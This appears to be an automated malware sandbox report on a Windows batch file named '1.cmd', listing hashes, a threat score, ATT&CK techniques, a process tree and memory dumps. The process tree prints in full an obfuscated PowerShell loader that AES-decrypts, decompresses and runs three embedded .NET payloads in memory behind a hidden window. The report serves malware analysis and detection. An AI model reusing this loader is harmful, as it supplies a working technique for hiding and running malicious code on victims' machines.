ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848

Analysis

max time kernel
75s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
10-11-2024 09:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1.cmd
Size

2.0MB
MD5

a83ac24f3b7291351f52ea99c33b43ca
SHA1

4819de0035af164608341bdab34fe277cc517536
SHA256

ea0dbb78a37927ed07f0c30ad9e814c2f71a16e9a6e8356726f03637bb48a848
SHA512

af2301759d1037f609b876090eb188f0747ecf7c4d3e5ebd23395389dd23c1398cd123a902d015d47018f1ef686b44908cca3280d86ccc4a1993b7c0388b9551
SSDEEP

24576:r7ftZVfP4Eg45n691f/qE71faFpIx6SXP1nOEunZ8/O2x01+dHepYAk0NkVG7/dp:rdLA9Fi7IxDRK294y7D/h2R

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2364	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2364	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1880 wrote to memory of 760	1880	cmd.exe	31
PID 1880 wrote to memory of 760	1880	cmd.exe	31
PID 1880 wrote to memory of 760	1880	cmd.exe	31
PID 1880 wrote to memory of 2364	1880	cmd.exe	32
PID 1880 wrote to memory of 2364	1880	cmd.exe	32
PID 1880 wrote to memory of 2364	1880	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('byOwlJEq9UaHWPvf8iRQsbA+J/FwJgSUsZSwL1NNg8o='); $aes_var.IV=[System.Convert]::FromBase64String('jlnOHC6q2ppF5ItJ8IOVtA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$Yytzc=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$fsmDR=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$DKcCE=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Yytzc, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $DKcCE.CopyTo($fsmDR); $DKcCE.Dispose(); $Yytzc.Dispose(); $fsmDR.Dispose(); $fsmDR.ToArray();}function execute_function($param_var,$param2_var){ IEX '$DfiAV=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$sYTdY=$DfiAV.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$sYTdY.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$hxgif = 'C:\Users\Admin\AppData\Local\Temp\1.cmd';$host.UI.RawUI.WindowTitle = $hxgif;$qrlCl=[System.IO.File]::ReadAllText($hxgif).Split([Environment]::NewLine);foreach ($SwqTj in $qrlCl) { if ($SwqTj.StartsWith('bRlIVVrKLnBjMLQIZMQv')) { $silSH=$SwqTj.Substring(20); break; }}$payloads_var=[string[]]$silSH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2364-4-0x000007FEF53CE000-0x000007FEF53CF000-memory.dmp

Filesize
4KB

Download
memory/2364-5-0x000000001B100000-0x000000001B3E2000-memory.dmp

Filesize
2.9MB

Download
memory/2364-6-0x0000000002120000-0x0000000002128000-memory.dmp

Filesize
32KB

Download
memory/2364-7-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2364-8-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2364-9-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2364-10-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2364-11-0x000007FEF53CE000-0x000007FEF53CF000-memory.dmp

Filesize
4KB

Download